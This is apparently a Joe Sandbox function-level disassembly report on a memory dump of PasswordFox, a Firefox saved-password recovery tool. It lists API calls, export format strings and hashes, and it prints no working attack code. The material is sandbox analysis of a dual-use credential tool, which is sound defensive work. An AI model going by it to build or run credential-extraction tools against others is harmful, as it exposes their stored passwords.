SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 00402D0E
SendMessageW.USER32(?,00001036,00000000,00000026), ref: 00402D1B
SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00402D27
memset.MSVCRT ref: 00402D8B
SendMessageW.USER32(?,0000105F,?,?), ref: 00402DC0
SetFocus.USER32(?), ref: 00402E44

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: MessageSend$FocusItemmemset
String ID:
API String ID: 4281309102-0
Opcode ID: 53ac9e94c51787f32452e3a1c56351e6c6f078232db4eca64ed623f35229ca7d
Instruction ID: 052c0cda838f63c4f563090851bace12a4a9b305ff2841cbfeb83369681a13eb
Opcode Fuzzy Hash: 53ac9e94c51787f32452e3a1c56351e6c6f078232db4eca64ed623f35229ca7d
Instruction Fuzzy Hash: 0C413C71D40209AFDB209F95CC89DAFBBB9EF84704F00806AF914B62D1D7B59A81CF64

Function 00406F1C Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00404248: wcslen.MSVCRT ref: 00404255
Part of subcall function 00404248: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00407299,?,<item>), ref: 00404264

wcscat.MSVCRT ref: 00406FEB
_snwprintf.MSVCRT ref: 00407012

Strings

 , xrefs: 00406FE5
<td bgcolor=#%s nowrap>%s, xrefs: 00406F2C
<td bgcolor=#%s>%s, xrefs: 00406F3A
<tr>, xrefs: 00406F44

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FileWrite_snwprintfwcscatwcslen
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 2451617256-4153097237
Opcode ID: c454589146015d334ffcbe0a59ab454432961cc649d79cde94252bf8e64ce21d
Instruction ID: 35be35a740fbf3f9af44323595bc580f42b00a08e837909b78072e179b2ac8d4
Opcode Fuzzy Hash: c454589146015d334ffcbe0a59ab454432961cc649d79cde94252bf8e64ce21d
Instruction Fuzzy Hash: 1F31BE31900209EFDF14AF54CC86AAE7BB5FF44320F1141AAF905BB1D2DB35AA51DB94

Function 00405C0C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

LoadMenuW.USER32(?,?), ref: 00405C32

Part of subcall function 00405A5C: GetMenuItemCount.USER32(?), ref: 00405A72
Part of subcall function 00405A5C: memset.MSVCRT ref: 00405A91
Part of subcall function 00405A5C: GetMenuItemInfoW.USER32 ref: 00405ACD
Part of subcall function 00405A5C: wcschr.MSVCRT ref: 00405AE5

DestroyMenu.USER32(00000000), ref: 00405C50
CreateDialogParamW.USER32(?,?,00000000,00405C07,00000000), ref: 00405C9F
memset.MSVCRT ref: 00405CBB
GetWindowTextW.USER32(00000000,?,00001000), ref: 00405CD0

Part of subcall function 00405893: _snwprintf.MSVCRT ref: 004058B8

Strings

caption, xrefs: 00405CE6

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Menu$Itemmemset$CountCreateDestroyDialogInfoLoadParamTextWindow_snwprintfwcschr
String ID: caption
API String ID: 4269739968-4135340389
Opcode ID: f73843e745a1ea6c25bab0232a1fa7f078bf352206eacf97233f420d47e2a5dc
Instruction ID: ea41548d20c298312d9a3600ca5ecf469101e2f61b1c62bcd5fb009afbe77744
Opcode Fuzzy Hash: f73843e745a1ea6c25bab0232a1fa7f078bf352206eacf97233f420d47e2a5dc
Instruction Fuzzy Hash: 63218D32500718ABEB21AF90DD89EAB3B68EF04724F00447AFA05B51D1D7789990CF9D

Function 00405A5C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 00405A72
memset.MSVCRT ref: 00405A91
GetMenuItemInfoW.USER32 ref: 00405ACD
wcschr.MSVCRT ref: 00405AE5

Strings

6, xrefs: 00405AB4
0, xrefs: 00405AAC

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: a01579805b91164820cc06d4f52803fad3590dbefd0a9a946776ca8aa64eda71
Instruction ID: 03f7240b8ad5432af4937c379df24f43008473f7ce2a450f7a211f7211f411be
Opcode Fuzzy Hash: a01579805b91164820cc06d4f52803fad3590dbefd0a9a946776ca8aa64eda71
Instruction Fuzzy Hash: F2219F32609344ABD720DF55D88599BB7F8FB85754F000A3FF584A6280E775A900CF9A

Function 0040616E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406114
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406122
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406133
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 0040614A
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406153

??3@YAXPAX@Z.MSVCRT(?,?,00408C9B), ref: 00406189
??3@YAXPAX@Z.MSVCRT(?,?,00408C9B), ref: 0040619C
??3@YAXPAX@Z.MSVCRT(00000001,?,00408C9B), ref: 004061AF
??3@YAXPAX@Z.MSVCRT(?,?,00408C9B), ref: 004061C2
free.MSVCRT ref: 004061FB

Part of subcall function 00404EAB: free.MSVCRT ref: 00404EB2

Strings

]`@, xrefs: 00406171

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??3@$free
String ID: ]`@
API String ID: 2241099983-2281983686
Opcode ID: a8eaa75861c13603f906994c792d9cc59cc16d12ede48035b343848c37b4e623
Instruction ID: a9c116e93d7fad59cadb6f647f5786c16ed4b2935e15555091a30804ff2c02a1
Opcode Fuzzy Hash: a8eaa75861c13603f906994c792d9cc59cc16d12ede48035b343848c37b4e623
Instruction Fuzzy Hash: 91012A326019215FC626AB2AA40151FB395AFC5724316867FE5067B2C3CB3CBD6286DD

Function 004049CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004049ED
_snwprintf.MSVCRT ref: 00404A14
wcscat.MSVCRT ref: 00404A26
wcscat.MSVCRT ref: 00404A43
wcscat.MSVCRT ref: 00404A52

Strings

%2.2X, xrefs: 00404A03

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 9eca9d0b10237597fc9396d76d6297696b5541b571abcc563b9e9d3cce03d77f
Instruction ID: a63f881caffbf41192db8e968fa5f05687683fdc3c35f7425c360209daf064b8
Opcode Fuzzy Hash: 9eca9d0b10237597fc9396d76d6297696b5541b571abcc563b9e9d3cce03d77f
Instruction Fuzzy Hash: 670128B2A4031866E720A715DC82BBA33A8EB80718F10403FFD14B51C3E77C9A445ADC

Function 00405893 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 004058B8
wcscpy.MSVCRT ref: 004058DB

Strings

menu_%d, xrefs: 0040589C
dialog_%d, xrefs: 004058AC
general, xrefs: 004058D1
strings, xrefs: 004058C6

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: 84e63c119beed4f1fe873e09af5c8c3eece1eff9fee71dcad7d9760d50727fc8
Instruction ID: c3200807cc0debfc939cee5eb3075dce034f03707918156f2bcd07755b693721
Opcode Fuzzy Hash: 84e63c119beed4f1fe873e09af5c8c3eece1eff9fee71dcad7d9760d50727fc8
Instruction Fuzzy Hash: 15E08627785704B6EC2472815CC3F272151DA94B18F708977FD03B01D2A6BD99647E0F

Function 0040A247 Relevance: 9.1, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,00409D28,00000000,00000000), ref: 0040A282
memset.MSVCRT ref: 0040A2E4
memset.MSVCRT ref: 0040A2F4

Part of subcall function 0040A161: wcscpy.MSVCRT ref: 0040A18A

memset.MSVCRT ref: 0040A3DF
wcscpy.MSVCRT ref: 0040A400
CloseHandle.KERNEL32(?,00409D28,?,?,?,00409D28,00000000,00000000), ref: 0040A456

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: 1aac800793d7697f8501231e134039336fc3542f8421396ecca85bb1d798685a
Instruction ID: a0d3937577748f7fa85e333ee16ff121f7334b4792027423a0c830bdf408a501
Opcode Fuzzy Hash: 1aac800793d7697f8501231e134039336fc3542f8421396ecca85bb1d798685a
Instruction Fuzzy Hash: D6513D71108344AFD720EF65D888A9FB7E8FB84704F004A3EF989A2291D7B5D915CB5B

Function 004086EF Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408711

Part of subcall function 004053F1: GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 00405430
Part of subcall function 004053F1: LoadStringW.USER32(00000000,00000006,?,?), ref: 004054C9
Part of subcall function 004053F1: memcpy.MSVCRT(00000000,00000002), ref: 00405509

Part of subcall function 004053F1: wcscpy.MSVCRT ref: 00405472
Part of subcall function 004053F1: wcslen.MSVCRT ref: 00405490
Part of subcall function 004053F1: GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 0040549E

Part of subcall function 00404C22: memset.MSVCRT ref: 00404C43
Part of subcall function 00404C22: _snwprintf.MSVCRT ref: 00404C71
Part of subcall function 00404C22: wcslen.MSVCRT ref: 00404C7D
Part of subcall function 00404C22: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 00404C95
Part of subcall function 00404C22: wcslen.MSVCRT ref: 00404CA3
Part of subcall function 00404C22: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 00404CB6

Part of subcall function 00404A67: wcscpy.MSVCRT ref: 00404ACD

Strings

*.csv, xrefs: 00408762
*.xml, xrefs: 0040879E
*.txt, xrefs: 00408733
*.htm;*.html, xrefs: 00408777
txt, xrefs: 00408716

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
API String ID: 2618321458-3614832568
Opcode ID: f9cd166552c099a29173546b1dd476264746e7da0406f7bb88c78ac6c0d5a1c7
Instruction ID: b8a29bba018f662f73a470a1f6c8031c9501d499ab0ea12e808dd2b79b7f1b63
Opcode Fuzzy Hash: f9cd166552c099a29173546b1dd476264746e7da0406f7bb88c78ac6c0d5a1c7
Instruction Fuzzy Hash: C4212FB1D00619DBCB40DFAAD8816DEBBB4FB08344F10417AF908B7281DB785A458F99

Function 0040883C Relevance: 9.1, APIs: 6, Instructions: 59fileclipboardCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00408856
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00408868
GetTempFileNameW.KERNEL32(?,0040CFA4,00000000,00000000), ref: 0040888B
OpenClipboard.USER32(00000000), ref: 004088B5
GetLastError.KERNEL32 ref: 004088CE
DeleteFileW.KERNEL32(00000000), ref: 004088ED

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FileTemp$ClipboardDeleteDirectoryErrorLastNameOpenPathWindows
String ID:
API String ID: 2014771361-0
Opcode ID: 0d439ffa7403bd6a08bb45c8a3cbc549325788cddd5a42741ac006f5ebea398b
Instruction ID: cbdc72f835ec40b1a9f09e3827ef75c6f5dd66271c9025d1e777cdb294447511
Opcode Fuzzy Hash: 0d439ffa7403bd6a08bb45c8a3cbc549325788cddd5a42741ac006f5ebea398b
Instruction Fuzzy Hash: 8F119872600314DBDB20AB61DD89FDB73ACAB44714F00467EB655F20D1DE7499C4CB18

Function 0040327E Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003ED), ref: 00403292

Part of subcall function 0040AE7B: LoadLibraryW.KERNEL32(shlwapi.dll,?,75C08FB0,0040329A,00000000), ref: 0040AE84
Part of subcall function 0040AE7B: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0040AE92
Part of subcall function 0040AE7B: FreeLibrary.KERNEL32(00000000,?,75C08FB0,0040329A,00000000), ref: 0040AEAA

GetDlgItem.USER32(?,00000000), ref: 004032A4
GetClientRect.USER32(?,?), ref: 004032BE
GetWindow.USER32(?,00000005), ref: 004032D6
GetWindow.USER32(00000000), ref: 004032D9

Part of subcall function 00401681: GetWindowRect.USER32(?,?), ref: 00401690
Part of subcall function 00401681: MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004016AB

GetWindow.USER32(00000000,00000002), ref: 004032E5

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Window$ItemLibraryRect$AddressClientFreeLoadPointsProc
String ID:
API String ID: 3234410031-0
Opcode ID: 19e83884a2ee7bcb0f898122dba0e041090de0b75402a637d3d9c35095c9b5a5
Instruction ID: 0907ac9b8bc6d7e27030bb6e2dff600a5af15e0cceb477848a7b9f22fef3b328
Opcode Fuzzy Hash: 19e83884a2ee7bcb0f898122dba0e041090de0b75402a637d3d9c35095c9b5a5
Instruction Fuzzy Hash: 5801F732540304ABDB116F75CC85F6AB7ACDF81714F05053EF405BB192CB78E8028AA8

Function 00401765 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00401774
GetSystemMetrics.USER32(00000015), ref: 00401782
GetSystemMetrics.USER32(00000014), ref: 0040178E
BeginPaint.USER32(?,?), ref: 004017A8
DrawFrameControl.USER32(00000000,?,00000003,00000008), ref: 004017B7
EndPaint.USER32(?,?), ref: 004017C4

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: 292dddb40828baa585e339de827616e00bf546c5eb8b0ca2adba6712cae4fb09
Instruction ID: 55c219b31556ee48f84dfb622686aa39c5a214c6181e0cdcb2aa5b1c7b7dc2c3
Opcode Fuzzy Hash: 292dddb40828baa585e339de827616e00bf546c5eb8b0ca2adba6712cae4fb09
Instruction Fuzzy Hash: 4A01EC72940218EFDF04DFA4DD99DEE7B79FB45301F000669AA11BA195DA71A904CF50

Function 00401E52 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

_ultow.MSVCRT ref: 00401E76

Strings

3.0, xrefs: 00401F50
2.x, xrefs: 00401F44
1.x, xrefs: 00401F38
3.5/4.x, xrefs: 00401F5A

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _ultow
String ID: 1.x$2.x$3.0$3.5/4.x
API String ID: 1931767806-1424242312
Opcode ID: f207b6e839b1df3a7169f756b8cf455114fe739a14a8fb7c8d175af763fcce0d
Instruction ID: 02c8f37c4b81fee256367eda243e214d3cedbeca486832de9933a17fac1f6805
Opcode Fuzzy Hash: f207b6e839b1df3a7169f756b8cf455114fe739a14a8fb7c8d175af763fcce0d
Instruction Fuzzy Hash: 57215331608106D6D6289564C8D45B962A4FB49308F74447FF90BBAAF2D33E9C83A69F

Function 00408151 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00408172
qsort.MSVCRT ref: 0040821C
SetCursor.USER32(/nosort,?,00409514,00000000,00000000), ref: 0040822A

Strings

/nosort, xrefs: 004081D2
/sort, xrefs: 0040816D

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Cursor_wcsicmpqsort
String ID: /nosort$/sort
API String ID: 318828055-1578091866
Opcode ID: 9bc2de069cfd0942ffb201b1a488b0b154d2f036f603e0570b304ca65c1d3d22
Instruction ID: 1f803aed3756b16d601d15c12b0bd80a41414de7efe4ceef327131479a4fa369
Opcode Fuzzy Hash: 9bc2de069cfd0942ffb201b1a488b0b154d2f036f603e0570b304ca65c1d3d22
Instruction Fuzzy Hash: AB21C571600901AFD714AB35CD81E56B3AAFF44324B11427EF459AB6D2CB7ABC11CB9C

Function 00407282 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00404248: wcslen.MSVCRT ref: 00404255
Part of subcall function 00404248: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00407299,?,<item>), ref: 00404264

memset.MSVCRT ref: 004072B9

Part of subcall function 0040AEE6: memcpy.MSVCRT(?,<,00000008,?,?,00000000,004072DA,?,?), ref: 0040AF63

Part of subcall function 00406B6D: wcscpy.MSVCRT ref: 00406B72
Part of subcall function 00406B6D: _wcslwr.MSVCRT ref: 00406B93

_snwprintf.MSVCRT ref: 00407303

Strings

<%s>%s</%s>, xrefs: 004072F6
<item>, xrefs: 0040728C
</item>, xrefs: 0040731D

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FileWrite_snwprintf_wcslwrmemcpymemsetwcscpywcslen
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 2236007434-2769808009
Opcode ID: c674596ebf4e7899330e9d8845ed25131606a9436a1293817c83f26c2674c8f5
Instruction ID: 297d790b4ee4be67ee861a093687659072f07b05dd7f99d777773fa9b6455ec5
Opcode Fuzzy Hash: c674596ebf4e7899330e9d8845ed25131606a9436a1293817c83f26c2674c8f5
Instruction Fuzzy Hash: CD116A32A00619BFDB10AB65CC82E99BB64FF44318F10017AF909765E2D739B960DBC8

Function 00407457 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040747B
memset.MSVCRT ref: 00407492

Part of subcall function 00404248: wcslen.MSVCRT ref: 00404255
Part of subcall function 00404248: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00407299,?,<item>), ref: 00404264

Part of subcall function 00406B6D: wcscpy.MSVCRT ref: 00406B72
Part of subcall function 00406B6D: _wcslwr.MSVCRT ref: 00406B93

_snwprintf.MSVCRT ref: 004074CE

Strings

<?xml version="1.0" ?>, xrefs: 00407497
<%s>, xrefs: 004074BD

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
